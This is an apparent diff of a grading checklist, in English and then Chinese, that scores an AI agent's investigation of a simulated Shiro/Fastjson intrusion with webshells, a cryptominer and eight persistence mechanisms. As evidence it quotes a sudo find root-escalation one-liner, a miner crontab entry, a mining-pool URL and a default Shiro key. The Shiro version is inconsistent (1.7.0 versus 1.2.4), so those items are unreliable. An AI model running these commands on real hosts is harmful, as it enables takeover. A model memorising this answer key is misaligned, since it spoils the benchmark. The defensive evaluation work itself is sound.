no firewall restriction configured at the host layer +- **Detection score** (3 pts) + - Discovery: Identifies the lack of access control on the Tomcat port at the host layer + - Evidence: Points out that port 8080 has no access control + - Attribution: Associates port reachability with the attack surface of Shiro exploitation +- **Plan score** (2 pts) + - Correctness: Plan recommends restricting the source of 8080 access on the host firewall or reverse proxy + - Completeness: Plan gives firewall rule modification recommendations + +### CHK-16: MySQL password strength `BAS-03` +- **Evidence**: The MySQL root password `RuoYi@2024` is a weak password (highly patterned, guessable) +- **Detection score** (3 pts) + - Discovery: Identifies that the database uses a weak password + - Evidence: Points out the regularity of the password + - Attribution: Points out that the weak password is directly exploited by the attacker after reading it from the configuration file +- **Plan score** (2 pts) + - Correctness: Plan recommends changing to a strong password + - Completeness: Plan gives password complexity requirements + +## Dimension 3: Persistence removal (8 items) + +### CHK-17: Systemd service persistence `PER-V01` +- **Evidence**: `/etc/systemd/system/java-app-monitor.service` — disguised as Java application monitoring +- **Detection score** (3 pts) + - Discovery: Identifies the suspicious systemd service + - Evidence: Points out the unit file path and that ExecStart points to /opt/.cache/.java-updater + - Attribution: Identifies it as a mining persistence mechanism +- **Plan score** (2 pts) + - Correctness: Plan gives the complete commands of stop + disable + delete unit + daemon-reload + - Completeness: Plan includes the verification step after cleanup + +### CHK-18: Systemd service masquerade `PER-V01` *detection-only* +- **Evidence**: The service name `java-app-monitor` and description `Java Application Monitor Service` imitate a legitimate monitoring service +- **Detection score** (3 pts) + - Discovery: Points out the disguise technique of the service name + - Evidence: Compares against legitimate system services, points out the naming imitation + - Attribution: Recognizes it as the attacker using naming disguise to evade manual review +- **Plan score**: N/A + +### CHK-19: Crontab persistence `PER-S01` +- **Evidence**: `crontab -l` shows `*/10 * * * * /opt/.cache/.java-updater >/dev/null 2>&1` +- **Detection score** (3 pts) + - Discovery: Identifies the suspicious crontab entry + - Evidence: Quotes the specific crontab content, points out the scheduled execution interval and silent output + - Attribution: Associates the crontab with mining persistence +- **Plan score** (2 pts) + - Correctness: Plan gives the method to delete the malicious crontab entry + - Completeness: Plan recommends checking the crontab of all users and /etc/cron.d/ + +### CHK-20: profile.d persistence `PER-I01` +- **Evidence**: `/etc/profile.d/java-env.sh` — disguised as a Java environment-variable script, actually launches mining +- **Detection score** (3 pts) + - Discovery: Identifies the malicious script in profile.d + - Evidence: Points out that the file contains code to launch .java-updater + - Attribution: Recognizes it as a persistence means that automatically restarts mining on every user login +- **Plan score** (2 pts) + - Correctness: Plan gives the file deletion command + - Completeness: Plan recommends checking all scripts under /etc/profile.d/ + +### CHK-21: at deferred task `PER-S03` +- **Evidence**: `atq` shows a pending delayed task +- **Detection score** (3 pts) + - Discovery: Identifies the suspicious task in the at queue + - Evidence: Points out the task content (executing .java-updater) + - Attribution: Recognizes it as a delayed-execution mechanism set by the attacker to counter one-time cleanup +- **Plan score** (2 pts) + - Correctness: Plan gives the `atrm` deletion command + - Completeness: Plan recommends checking all pending at tasks and considering disabling atd + +### CHK-22: rc.local persistence `PER-V02` +- **Evidence**: `/etc/rc.d/rc.local` contains a `.java-updater` startup command +- **Detection score** (3 pts) + - Discovery: Identifies the suspicious entry in rc.local + - Evidence: Quotes the specific line content + - Attribution: Recognizes it as boot-time auto-start mining persistence +- **Plan score** (2 pts) + - Correctness: Plan gives the method to delete the corresponding line + - Completeness: Plan recommends reviewing the entire content of rc.local + +### CHK-23: Comprehensive persistence scan `Q-05` *detection-only* +- **Evidence**: This range has 8 persistence mechanisms in total +- **Detection score** (3 pts) + - Discovery: Performs a systematic persistence scan (covering systemd/cron/profile.d/ssh keys/sudoers/MySQL UDF/at/rc.local/init.d, etc.) + - Evidence: Records the scan scope and method + - Attribution: Demonstrates the comprehensiveness of the investigation +- **Plan score**: N/A + +### CHK-24: Persistence correlation analysis `Q-05` *detection-only* +- **Evidence**: All 8 persistence mechanisms point to the same mining program `/opt/.cache/.java-updater` +- **Detection score** (3 pts) + - Discovery: Identifies the correlation among the multiple persistence mechanisms + - Evidence: Points out that all persistence mechanisms ultimately launch the same program + - Attribution: Analyzes it as the attacker's redundant persistence strategy +- **Plan score**: N/A + +## Dimension 4: Root-cause tracing (10 items) + +### CHK-25: Entry-point Shiro deserialization `Q-01` `Q-04` *detection-only* +- **Evidence**: Shiro default key + rememberMe=deleteMe fingerprint + Webshell deployment + no SSH brute-force traces +- **Detection score** (3 pts) + - Discovery: Correctly determines the entry point as "Shiro default-key deserialization RCE" + - Evidence: Quotes the Shiro version, default key, CommonsCollections gadget + - Attribution: Rules out SSH brute-force and other entry points, correctly characterizes it as a CVE-exploitation scenario +- **Plan score**: N/A +- **Critical**: Agent should not fabricate a non-existent CVE number + +### CHK-26: Shiro version & key config locate `VUL-01` +- **Evidence**: `/opt/tomcat/webapps/ROOT/WEB-INF/lib/shiro-core-1.7.0.jar` (the library itself has already removed the hardcoded default key), but `application.yml`'s `shiro.rememberMe.cipherKey` still configures the well-known default key `zSyK5Kp6PZAAjlT+eeNMlg==` +- **Detection score** (3 pts) + - Discovery: Locates the Shiro version in the JAR dependencies and discovers the use of a known default key in the application configuration + - Evidence: Points out the JAR file path and version number 1.7.0, as well as the cipherKey value in application.yml + - Attribution: Associates the known default key configured at the application layer with the Shiro deserialization RCE entry point +- **Plan score** (2 pts) + - Correctness: Plan recommends replacing the cipherKey in application.yml with a strong random key + - Completeness: Plan gives multi-layer repair (change key / disable rememberMe) + +### CHK-27: Fastjson version locate `VUL-01` +- **Evidence**: `/opt/tomcat/webapps/ROOT/WEB-INF/lib/fastjson-1.2.68.jar` +- **Detection score** (3 pts) + - Discovery: Locates the Fastjson version in the JAR dependencies + - Evidence: Points out the JAR file path and version number 1.2.68 (has the autoType vulnerability) + - Attribution: Associates Fastjson 1.2.68 with the deserialization vulnerability +- **Plan score** (2 pts) + - Correctness: Plan recommends upgrading Fastjson to >= 1.2.83 or replacing it with Jackson + - Completeness: Plan describes the risk of autoType and configuration mitigation options + +### CHK-28: Commons-Collections gadget ID `VUL-01` *detection-only* +- **Evidence**: `/opt/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar` +- **Detection score** (3 pts) + - Discovery: Identifies CommonsCollections 3.2.1 as a gadget chain dependency + - Evidence: Points out the JAR version and the deserialization exploitation relationship + - Attribution: Associates CC 3.x with the gadget chain of the Shiro deserialization RCE +- **Plan score**: N/A (upgrade covered by CHK-26/27) + +### CHK-29: Java process-chain provenance `Q-02` *detection-only* +- **Evidence**: In the alert, `parent_procpath=/usr/bin/java` → Tomcat → RuoYi → Shiro/Fastjson +- **Detection score** (3 pts) + - Discovery: Traces from the Java process to the specific application + - Evidence: Establishes the correlation chain java → tomcat → ruoyi → shiro/fastjson + - Attribution: Completes the full tracing from process to vulnerability +- **Plan score**: N/A + +### CHK-30: sudo privesc-path reconstruction `Q-02` *detection-only* +- **Evidence**: The attacker uses `sudo find /tmp -exec /bin/bash -p \;` to escalate from tomcat to root +- **Detection score** (3 pts) + - Discovery: Reconstructs the sudo find privilege-escalation path + - Evidence: Points out the escalation principle of find -exec and the sudoers configuration + - Attribution: Associates the escalation with subsequent root-privilege operations (persistence, mining) +- **Plan score**: N/A (repair covered by CHK-09) + +### CHK-31: Attack-timeline reconstruction `Q-02` *detection-only* +- **Evidence**: Tomcat access log timestamps, Webshell file mtime, mining deployment time, persistence-mechanism creation time +- **Detection score** (3 pts) + - Discovery: Constructs a coherent attack timeline + - Evidence: Shiro RCE → Webshell deployment → information gathering → privilege escalation → persistence → mining + - Attribution: Cross-correlates multiple timestamp sources +- **Plan score**: N/A + +### CHK-32: Tomcat log partial-wipe ID `Q-02` `Q-03` *detection-only* +- **Evidence**: The rememberMe/error.jsp requests in the access log were deleted, but the analytics.jsp request was retained (attacker oversight) +- **Detection score** (3 pts) + - Discovery: Identifies the partial-cleanup traces in the Tomcat access log + - Evidence: Finds that the analytics.jsp request record is still present, while other attack requests are missing + - Attribution: Identifies the log incompleteness itself as evidence of the attacker cleaning traces +- **Plan score**: N/A + +### CHK-33: Attacker IP identification `Q-03` *detection-only* +- **Evidence**: The source IP of the attack requests in the Tomcat access log +- **Detection score** (3 pts) + - Discovery: Identifies the attacker's source IP address + - Evidence: Quotes the specific log line and IP address + - Attribution: Associates that IP with Webshell access and the Shiro attack +- **Plan score**: N/A (blocking covered by CHK-38) + +### CHK-34: Data-leak assessment `Q-02` *detection-only* +- **Evidence**: `/tmp/.sql_dump` contains sys_user table data; application.yml credentials have been leaked +- **Detection score** (3 pts) + - Discovery: Assesses the scope of the data leak (user table, database credentials) + - Evidence: Points out the specific data content that was exported + - Attribution: Associates the data theft with the attacker's information-gathering stage +- **Plan score**: N/A + +## Dimension 5: Vulnerability remediation (6 items) + +### CHK-35: Shiro vuln fix `VUL-01` +- **Evidence**: Shiro 1.2.4 uses a default key +- **Detection score** (3 pts) + - Discovery: Recommends remediating the Shiro default-key vulnerability + - Evidence: Quotes the Shiro version and default key + - Attribution: Directly associates the remediation need with the entry-point vulnerability +- **Plan score** (2 pts) + - Correctness: Plan is reasonably layered (change key / upgrade version / disable feature) + - Completeness: Plan describes the pros, cons, and applicable scenarios of each layer of remediation + +### CHK-36: Fastjson vuln fix `VUL-01` +- **Evidence**: Fastjson 1.2.68 has the autoType deserialization vulnerability +- **Detection score** (3 pts) + - Discovery: Recommends remediating the Fastjson autoType vulnerability + - Evidence: Quotes the version number and known vulnerability + - Attribution: Associates Fastjson as a backup attack entry point with remediation priority +- **Plan score** (2 pts) + - Correctness: Plan recommends upgrading to a safe version or replacing with Jackson + - Completeness: Plan includes the autoType global-disable configuration + +### CHK-37: Commons-Collections upgrade `VUL-01` +- **Evidence**: commons-collections-3.2.1 is the gadget chain for Shiro deserialization +- **Detection score** (3 pts) + - Discovery: Recommends upgrading CommonsCollections + - Evidence: Points out the role of CC 3.x as a gadget + - Attribution: Upgrading CC can break the gadget chain +- **Plan score** (2 pts) + - Correctness: Plan recommends upgrading to CC 3.2.2+ or 4.x (deserialization fixed) + - Completeness: Plan describes the version-compatibility impact + +### CHK-38: Attacker IP firewall block `ENT-N01` +- **Evidence**: The attacker IP identified from the Tomcat access log +- **Detection score** (3 pts) + - Discovery: Recommends blocking the attacker IP + - Evidence: Quotes the specific IP address + - Attribution: Associates it with the Web attack traffic +- **Plan score** (2 pts) + - Correctness: Plan gives the correct firewall rule + - Completeness: Plan includes persistent rules and verification steps + +### CHK-39: Mining outbound block `ENT-N02` +- **Evidence**: Mining connection `stratum+tcp://pool.evil-example.invalid:3333` +- **Detection score** (3 pts) + - Discovery: Recommends blocking the mining-pool outbound connection + - Evidence: Quotes the mining-pool address and port + - Attribution: Identifies it as mining C2 communication +- **Plan score** (2 pts) + - Correctness: Plan gives the outbound firewall rule + - Completeness: Plan includes IP + port blocking and rule persistence + +### CHK-40: Vuln-fix plan assessment `Q-07` *detection-only* +- **Evidence**: The remediation plans for the three components Shiro/Fastjson/CC +- **Detection score** (3 pts) + - Discovery: Assesses the layering and completeness of the remediation plan + - Evidence: Distinguishes minimal remediation (change key), recommended remediation (upgrade version), best remediation (multi-layer defense) + - Attribution: Reflects the depth of understanding of the Java security ecosystem +- **Plan score**: N/A + +## Dimension 6: Remediation closure (5 items) + +### CHK-41: Vuln-fix verification `Q-07` +- **Evidence**: Shiro/Fastjson should pass verification after remediation +- **Detection score** (3 pts) + - Discovery: Recommends performing post-remediation verification + - Evidence: Describes the verification method (rememberMe Cookie no longer triggers RCE) + - Attribution: Reflects remediation-closure awareness +- **Plan score** (2 pts) + - Correctness: Plan gives the verification steps + - Completeness: Plan includes regression-testing recommendations + +### CHK-42: Webshell cleanup confirmation `Q-07` +- **Evidence**: The two Webshells should have been cleaned up +- **Detection score** (3 pts) + - Discovery: Recommends confirming the completeness of Webshell cleanup + - Evidence: Gives the method to scan all webapps directories + - Attribution: Prevents missing other Webshells +- **Plan score** (2 pts) + - Correctness: Plan gives the comprehensive Webshell scan command + - Completeness: Plan recommends deploying file-integrity monitoring + +### CHK-43: Service restart & verification `Q-07` +- **Evidence**: Tomcat and MySQL should run normally after remediation +- **Detection score** (3 pts) + - Discovery: Recommends verifying that the remediation did not affect business services + - Evidence: Lists the key services to be verified + - Attribution: Reflects business-impact awareness +- **Plan score** (2 pts) + - Correctness: Plan lists the status-check commands for the key services + - Completeness: Plan covers Tomcat and MySQL, considers port-listening confirmation + +### CHK-44: Database credential rotation `Q-07` +- **Evidence**: The MySQL password and application.yml credentials have been leaked +- **Detection score** (3 pts) + - Discovery: Recommends performing credential rotation + - Evidence: Lists the credentials to be rotated (MySQL password, all passwords in application.yml) + - Attribution: Leaked credentials still carry a reuse risk even after the vulnerability is remediated +- **Plan score** (2 pts) + - Correctness: Plan gives the password rotation steps + - Completeness: Plan covers comprehensive rotation of MySQL, Redis, and application credentials + +### CHK-45: Persistence-cleanup integrity `Q-07` +- **Evidence**: All 8 persistence mechanisms should be fully removed +- **Detection score** (3 pts) + - Discovery: Recommends verifying one by one that all persistence has been removed + - Evidence: Gives the verification command for each type of persistence + - Attribution: Prevents omissions that let the attacker re-establish control +- **Plan score** (2 pts) + - Correctness: Plan lists the item-by-item verification methods for the 8 persistence mechanisms + - Completeness: Plan recommends re-checking after reboot diff --git a/ranges/shiro-fastjson/checklist.md b/ranges/shiro-fastjson/checklist.md new file mode 100644 index 0000000000000000000000000000000000000000..9f9fee559e6dca5a60beb2c4750b5941e2678046 --- /dev/null +++ b/ranges/shiro-fastjson/checklist.md @@ -0,0 +1,445 @@ +# range-shiro-fastjson 检查清单 + +评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。 + +- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 的分析报告 — LLM-as-a-Judge +- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判检测 Agent 输出的修复方案 — LLM-as-a-Judge +- **仅检测项**:方案分标记 N/A,不参与对应汇总 + +## 维度 1:入侵实体识别与处置(8 项) + +### CHK-01:JSP Webshell 1 (error.jsp) `ENT-F01` +- **证据**:`/opt/tomcat/webapps/ROOT/static/css/error.jsp` — JSP Webshell 伪装在 CSS 目录下 +- **检测分**(3 分) + - 发现:识别到可疑 JSP 文件存在于静态资源目录 + - 证据:指出文件路径,识别 JSP 文件不应出现在 css 目录 + - 归因:将 Webshell 与攻击者通过 Shiro RCE 植入关联 +- **方案分**(2 分) + - 正确性:方案给出正确的文件删除命令 + - 完整性:方案建议扫描所有 webapps 目录下的异常 JSP/JSPX 文件 + +### CHK-02:JSP Webshell 2 (analytics.jsp) `ENT-F01` +- **证据**:`/opt/tomcat/webapps/ROOT/static/js/analytics.jsp` — 伪装为统计脚本 +- **检测分**(3 分) + - 发现:识别到第二个 Webshell + - 证据:指出 JSP 文件出现在 js 目录的异常性 + - 归因:识别攻击者使用多个 Webshell 作为备用入口 +- **方案分**(2 分) + - 正确性:方案给出删除命令 + - 完整性:方案建议全面扫描,不遗漏其他隐藏 Webshell + +### CHK-03:挖矿进程检测 `ENT-P01` +- **证据**:进程 `/opt/.cache/.java-updater` 正在运行 +- **检测分**(3 分) + - 发现:识别到挖矿进程 + - 证据:指出路径 `/opt/.cache/.java-updater`,识别伪装名称 + - 归因:将挖矿进程与攻击者入侵后的牟利行为关联 +- **方案分**(2 分) + - 正确性:方案给出正确的进程终止命令 + - 完整性:方案涵盖终止进程 + 删除文件 + 检查守护机制 + +### CHK-04:挖矿二进制文件清理 `ENT-F02` +- **证据**:文件 `/opt/.cache/.java-updater` 存在 +- **检测分**(3 分) + - 发现:识别到恶意文件 + - 证据:指出文件路径和类型 + - 归因:将其与挖矿行为关联 +- **方案分**(2 分) + - 正确性:方案给出正确的删除命令 + - 完整性:方案建议检查 /opt/.cache/ 目录下其他可疑文件(含日志 .java-updater.log) + +### CHK-05:MySQL dump 文件清理 `ENT-F04` +- **证据**:`/tmp/.sql_dump` — 攻击者导出的 MySQL 用户表数据 +- **检测分**(3 分) + - 发现:发现攻击者遗留的数据库 dump 文件 + - 证据:指出文件路径和内容(sys_user 表数据) + - 归因:识别为攻击者数据窃取行为的证据 +- **方案分**(2 分) + - 正确性:方案建议先保留用于取证分析 + - 完整性:方案说明取证完成后的清理步骤 + +### CHK-06:MySQL UDF 持久化与后门文件清除 `ENT-F02` `PER-D01` +- **证据**:MySQL plugin 目录下的 `lib_mysqludf_json.so` — 恶意 UDF 共享库 +- **检测分**(3 分) + - 发现:识别到 MySQL plugin 目录中的可疑 SO 文件与异常 UDF 函数 + - 证据:指出文件路径和对应的 UDF 函数 (sys_exec) + - 归因:将 UDF 后门与攻击者获取数据库密码后的持久化行为关联 +- **方案分**(2 分) + - 正确性:方案给出 DROP FUNCTION + 删除 SO 文件的命令 + - 完整性:方案建议审计 MySQL plugin 目录中所有非标准 SO,检查所有 UDF 函数 (`SELECT * FROM mysql.func`) + +### CHK-07:Webshell 目录伪装识别 `ENT-F01` *仅检测项* +- **证据**:两个 Webshell 分别放在 `static/css/` 和 `static/js/` 目录下 +- **检测分**(3 分) + - 发现:指出 JSP 文件放置在静态资源目录的伪装手法 + - 证据:对比正常 Tomcat 应用结构,指出目录位置异常 + - 归因:识别为攻击者通过目录伪装躲避常规 Webshell 扫描 +- **方案分**:N/A(处置由 CHK-01/02 覆盖) +- **加分项**:Agent 建议设置 Tomcat 静态资源目录的 JSP 执行限制 + +### CHK-08:攻击者 SSH 公钥识别与 SSH 密钥持久化 `ENT-F04` `PER-A01` +- **证据**:`/root/.ssh/authorized_keys` 中包含注释为 `deploy@ci-ruoyi` 的异常密钥 +- **检测分**(3 分) + - 发现:识别到 authorized_keys 中的可疑 SSH 公钥 + - 证据:指出密钥注释 `deploy@ci-ruoyi` 和密钥内容特征 + - 归因:识别为攻击者植入的持久化后门密钥 +- **方案分**(2 分) + - 正确性:方案给出移除特定密钥行的命令 + - 完整性:方案建议核查所有用户的 authorized_keys + +## 维度 2:基线风险(8 项) + +### CHK-09:tomcat sudo 权限收紧 `BAS-04` +- **证据**:`/etc/sudoers.d/tomcat` 授予了 `NOPASSWD: /usr/bin/find, /usr/bin/vim` +- **检测分**(3 分) + - 发现:识别到 tomcat 用户的危险 sudo 权限 + - 证据:指出 find -exec 和 vim :!bash 可用于提权 + - 归因:将 sudo 权限与攻击者从 tomcat 提权到 root 的路径关联 +- **方案分**(2 分) + - 正确性:方案建议移除 find/vim 的 NOPASSWD 权限 + - 完整性:方案包含 `visudo -c` 验证步骤,建议替换为安全的日志查看工具 + +### CHK-10:sudoers 后门持久化与清除 `PER-A02` +- **证据**:`/etc/sudoers.d/99-java-ops` — 攻击者植入的后门规则 `java-ops ALL=(ALL) NOPASSWD: ALL` +- **检测分**(3 分) + - 发现:识别到 /etc/sudoers.d/ 中的异常 sudoers 文件 + - 证据:指出 99-java-ops 文件和 java-ops 用户的 NOPASSWD ALL 权限 + - 归因:识别为攻击者植入的持久化提权后门 +- **方案分**(2 分) + - 正确性:方案给出删除文件命令 + - 完整性:方案建议检查 /etc/sudoers.d/ 下所有文件,核查是否有其他异常规则 + +### CHK-11:application.yml 凭证保护 `BAS-03` +- **证据**:`/opt/ruoyi/application.yml` 中包含明文数据库密码 `RuoYi@2024` +- **检测分**(3 分) + - 发现:识别到配置文件中的明文凭证 + - 证据:引用具体配置行和密码值 + - 归因:指出攻击者通过读取此文件获取了数据库访问权限 +- **方案分**(2 分) + - 正确性:方案建议更换数据库密码并使用加密存储 + - 完整性:方案建议文件权限收紧(chmod 600)、使用环境变量或 Jasypt 加密 + +### CHK-12:MySQL 远程访问控制 `BAS-02` +- **证据**:MySQL root 用户可从 `%`(任意主机)访问,密码 `RuoYi@2024` +- **检测分**(3 分) + - 发现:识别到远程 root MySQL 访问的风险 + - 证据:指出 `root@'%'` 的授权和 bind-address=0.0.0.0 + - 归因:指出此配置可被外部攻击者利用 +- **方案分**(2 分) + - 正确性:方案给出限制为 localhost 的 SQL 命令和 bind-address 修改 + - 完整性:方案包含修改后的验证步骤 + +### CHK-13:Shiro 默认密钥 `BAS-03` +- **证据**:`application.yml` 中 `shiro.rememberMe.cipherKey: zSyK5Kp6PZAAjlT+eeNMlg==` +- **检测分**(3 分) + - 发现:识别到 Shiro 使用默认加密密钥 + - 证据:引用配置文件中的 cipherKey 值,指出这是众所周知的默认密钥 + - 归因:将默认密钥与 Shiro 反序列化 RCE 入口直接关联 +- **方案分**(2 分) + - 正确性:方案建议更换为随机密钥或升级 Shiro 版本 + - 完整性:方案给出多层修复建议(换密钥 / 升级 / 关闭 rememberMe) + +### CHK-14:Tomcat 运行用户权限 `BAS-04` +- **证据**:Tomcat 以 tomcat 用户运行,但该用户有过度 sudo 权限 +- **检测分**(3 分) + - 发现:识别到 Tomcat 进程的用户权限配置 + - 证据:指出 tomcat 用户的 sudo 配置 + - 归因:将过度权限与提权路径关联 +- **方案分**(2 分) + - 正确性:方案建议遵循最小权限原则 + - 完整性:方案建议移除不必要的 sudo 权限,仅保留业务必需 + +### CHK-15:Tomcat 端口主机层访问控制 `BAS-06` +- **证据**:Tomcat 监听 8080 端口承载 RuoYi 应用,主机层未配置防火墙限制 +- **检测分**(3 分) + - 发现:识别到 Tomcat 端口在主机层缺少访问控制 + - 证据:指出 8080 端口无访问控制 + - 归因:将端口可达性与 Shiro 漏洞利用的攻击面关联 +- **方案分**(2 分) + - 正确性:方案建议在主机防火墙或反向代理上限制 8080 访问来源 + - 完整性:方案给出防火墙规则修改建议 + +### CHK-16:MySQL 密码强度 `BAS-03` +- **证据**:MySQL root 密码 `RuoYi@2024` 为弱密码(规律性强,可猜测) +- **检测分**(3 分) + - 发现:识别到数据库使用弱密码 + - 证据:指出密码规律性 + - 归因:指出弱密码被攻击者从配置文件读取后直接利用 +- **方案分**(2 分) + - 正确性:方案建议更换为强密码 + - 完整性:方案给出密码复杂度要求 + +## 维度 3:持久化清除(8 项) + +### CHK-17:Systemd 服务持久化 `PER-V01` +- **证据**:`/etc/systemd/system/java-app-monitor.service` — 伪装为 Java 应用监控 +- **检测分**(3 分) + - 发现:识别到可疑 systemd 服务 + - 证据:指出 unit 文件路径和 ExecStart 指向 /opt/.cache/.java-updater + - 归因:识别为挖矿持久化机制 +- **方案分**(2 分) + - 正确性:方案给出 stop + disable + 删除 unit + daemon-reload 的完整命令 + - 完整性:方案包含清理后的验证步骤 + +### CHK-18:Systemd 服务伪装识别 `PER-V01` *仅检测项* +- **证据**:服务名 `java-app-monitor` 和描述 `Java Application Monitor Service` 模仿合法监控服务 +- **检测分**(3 分) + - 发现:指出服务名称的伪装手法 + - 证据:对比合法系统服务,指出命名模仿 + - 归因:识别为攻击者通过命名伪装躲避人工审查 +- **方案分**:N/A + +### CHK-19:Crontab 持久化 `PER-S01` +- **证据**:`crontab -l` 显示 `*/10 * * * * /opt/.cache/.java-updater >/dev/null 2>&1` +- **检测分**(3 分) + - 发现:识别到可疑 crontab 条目 + - 证据:引用具体 crontab 内容,指出定时执行间隔和静默输出 + - 归因:将 crontab 与挖矿持久化关联 +- **方案分**(2 分) + - 正确性:方案给出删除恶意 crontab 条目的方法 + - 完整性:方案建议检查所有用户的 crontab 和 /etc/cron.d/ + +### CHK-20:profile.d 持久化 `PER-I01` +- **证据**:`/etc/profile.d/java-env.sh` — 伪装为 Java 环境变量脚本,实际启动挖矿 +- **检测分**(3 分) + - 发现:识别到 profile.d 中的恶意脚本 + - 证据:指出文件中包含启动 .java-updater 的代码 + - 归因:识别为每次用户登录时自动重启挖矿的持久化手段 +- **方案分**(2 分) + - 正确性:方案给出删除文件命令 + - 完整性:方案建议检查 /etc/profile.d/ 下所有脚本 + +### CHK-21:at 延迟任务 `PER-S03` +- **证据**:`atq` 显示待执行的延迟任务 +- **检测分**(3 分) + - 发现:识别到 at 队列中的可疑任务 + - 证据:指出任务内容(执行 .java-updater) + - 归因:识别为攻击者设置的延迟执行机制,用于对抗一次性清理 +- **方案分**(2 分) + - 正确性:方案给出 `atrm` 删除命令 + - 完整性:方案建议检查所有待执行 at 任务并考虑禁用 atd + +### CHK-22:rc.local 持久化 `PER-V02` +- **证据**:`/etc/rc.d/rc.local` 中包含 `.java-updater` 启动命令 +- **检测分**(3 分) + - 发现:识别到 rc.local 中的可疑条目 + - 证据:引用具体行内容 + - 归因:识别为开机自启的挖矿持久化 +- **方案分**(2 分) + - 正确性:方案给出删除对应行的方法 + - 完整性:方案建议审查 rc.local 全部内容 + +### CHK-23:全面的持久化扫描 `Q-05` *仅检测项* +- **证据**:本靶场共 8 种持久化机制 +- **检测分**(3 分) + - 发现:执行系统性的持久化扫描(覆盖 systemd/cron/profile.d/ssh keys/sudoers/MySQL UDF/at/rc.local/init.d 等) + - 证据:记录扫描范围和方法 + - 归因:证明排查的全面性 +- **方案分**:N/A + +### CHK-24:持久化关联分析 `Q-05` *仅检测项* +- **证据**:8 种持久化机制都指向同一个挖矿程序 `/opt/.cache/.java-updater` +- **检测分**(3 分) + - 发现:识别到多种持久化机制的关联性 + - 证据:指出所有持久化最终都启动同一个程序 + - 归因:分析为攻击者的冗余持久化策略 +- **方案分**:N/A + +## 维度 4:根因溯源(10 项) + +### CHK-25:入口判定 — Shiro 反序列化 `Q-01` `Q-04` *仅检测项* +- **证据**:Shiro 默认密钥 + rememberMe=deleteMe 指纹 + Webshell 部署 + 无 SSH 暴力破解痕迹 +- **检测分**(3 分) + - 发现:正确判定入口为"Shiro 默认密钥反序列化 RCE" + - 证据:引用 Shiro 版本、默认密钥、CommonsCollections gadget + - 归因:排除 SSH 暴力破解和其他入口,正确定性为 CVE 利用场景 +- **方案分**:N/A +- **关键**:Agent 不应编造不存在的 CVE 编号 + +### CHK-26:Shiro 版本与密钥配置定位 `VUL-01` +- **证据**:`/opt/tomcat/webapps/ROOT/WEB-INF/lib/shiro-core-1.7.0.jar`(库本身已移除硬编码默认密钥),但 `application.yml` 中 `shiro.rememberMe.cipherKey` 仍配置了众所周知的默认密钥 `zSyK5Kp6PZAAjlT+eeNMlg==` +- **检测分**(3 分) + - 发现:在 JAR 依赖中定位 Shiro 版本,并在应用配置中发现使用了已知默认密钥 + - 证据:指出 JAR 文件路径和版本号 1.7.0,以及 application.yml 中的 cipherKey 值 + - 归因:将应用层配置的已知默认密钥与 Shiro 反序列化 RCE 入口关联 +- **方案分**(2 分) + - 正确性:方案建议替换 application.yml 中的 cipherKey 为强随机 key + - 完整性:方案给出多层修复(换密钥 / 关闭 rememberMe) + +### CHK-27:Fastjson 版本定位 `VUL-01` +- **证据**:`/opt/tomcat/webapps/ROOT/WEB-INF/lib/fastjson-1.2.68.jar` +- **检测分**(3 分) + - 发现:在 JAR 依赖中定位 Fastjson 版本 + - 证据:指出 JAR 文件路径和版本号 1.2.68(存在 autoType 漏洞) + - 归因:将 Fastjson 1.2.68 与反序列化漏洞关联 +- **方案分**(2 分) + - 正确性:方案建议升级 Fastjson 到 >= 1.2.83 或替换为 Jackson + - 完整性:方案说明 autoType 的风险和配置缓解方案 + +### CHK-28:CommonsCollections gadget 识别 `VUL-01` *仅检测项* +- **证据**:`/opt/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar` +- **检测分**(3 分) + - 发现:识别到 CommonsCollections 3.2.1 作为 gadget chain 依赖 + - 证据:指出 JAR 版本和反序列化利用关系 + - 归因:将 CC 3.x 与 Shiro 反序列化 RCE 的 gadget chain 关联 +- **方案分**:N/A(升级由 CHK-26/27 覆盖) + +### CHK-29:Java 进程链溯源 `Q-02` *仅检测项* +- **证据**:告警中 `parent_procpath=/usr/bin/java` → Tomcat → RuoYi → Shiro/Fastjson +- **检测分**(3 分) + - 发现:从 Java 进程追踪到具体应用 + - 证据:建立 java → tomcat → ruoyi → shiro/fastjson 的关联链 + - 归因:完成从进程到漏洞的完整溯源 +- **方案分**:N/A + +### CHK-30:sudo 提权路径还原 `Q-02` *仅检测项* +- **证据**:攻击者使用 `sudo find /tmp -exec /bin/bash -p \;` 从 tomcat 提权到 root +- **检测分**(3 分) + - 发现:还原 sudo find 提权路径 + - 证据:指出 find -exec 的提权原理和 sudoers 配置 + - 归因:将提权与后续 root 权限操作(持久化、挖矿)关联 +- **方案分**:N/A(修复由 CHK-09 覆盖) + +### CHK-31:攻击时间线重建 `Q-02` *仅检测项* +- **证据**:Tomcat access log 时间戳、Webshell 文件 mtime、挖矿部署时间、持久化机制创建时间 +- **检测分**(3 分) + - 发现:构建出连贯的攻击时间线 + - 证据:Shiro RCE → Webshell 部署 → 信息收集 → 提权 → 持久化 → 挖矿 + - 归因:将多个时间戳来源交叉关联 +- **方案分**:N/A + +### CHK-32:Tomcat 日志部分清理识别 `Q-02` `Q-03` *仅检测项* +- **证据**:access log 中 rememberMe/error.jsp 请求被删除,但 analytics.jsp 请求保留(攻击者疏忽) +- **检测分**(3 分) + - 发现:识别到 Tomcat access log 的部分清理痕迹 + - 证据:发现 analytics.jsp 请求记录仍在,而其他攻击请求缺失 + - 归因:识别日志不完整性本身为攻击者清理痕迹的证据 +- **方案分**:N/A + +### CHK-33:攻击者 IP 识别 `Q-03` *仅检测项* +- **证据**:Tomcat access log 中的攻击请求来源 IP +- **检测分**(3 分) + - 发现:识别出攻击者的源 IP 地址 + - 证据:引用具体日志行和 IP 地址 + - 归因:将该 IP 与 Webshell 访问和 Shiro 攻击关联 +- **方案分**:N/A(封禁由 CHK-38 覆盖) + +### CHK-34:数据泄露评估 `Q-02` *仅检测项* +- **证据**:`/tmp/.sql_dump` 包含 sys_user 表数据;application.yml 凭证已泄露 +- **检测分**(3 分) + - 发现:评估数据泄露范围(用户表、数据库凭证) + - 证据:指出被导出的具体数据内容 + - 归因:将数据窃取与攻击者的信息收集阶段关联 +- **方案分**:N/A + +## 维度 5:漏洞修复(6 项) + +### CHK-35:Shiro 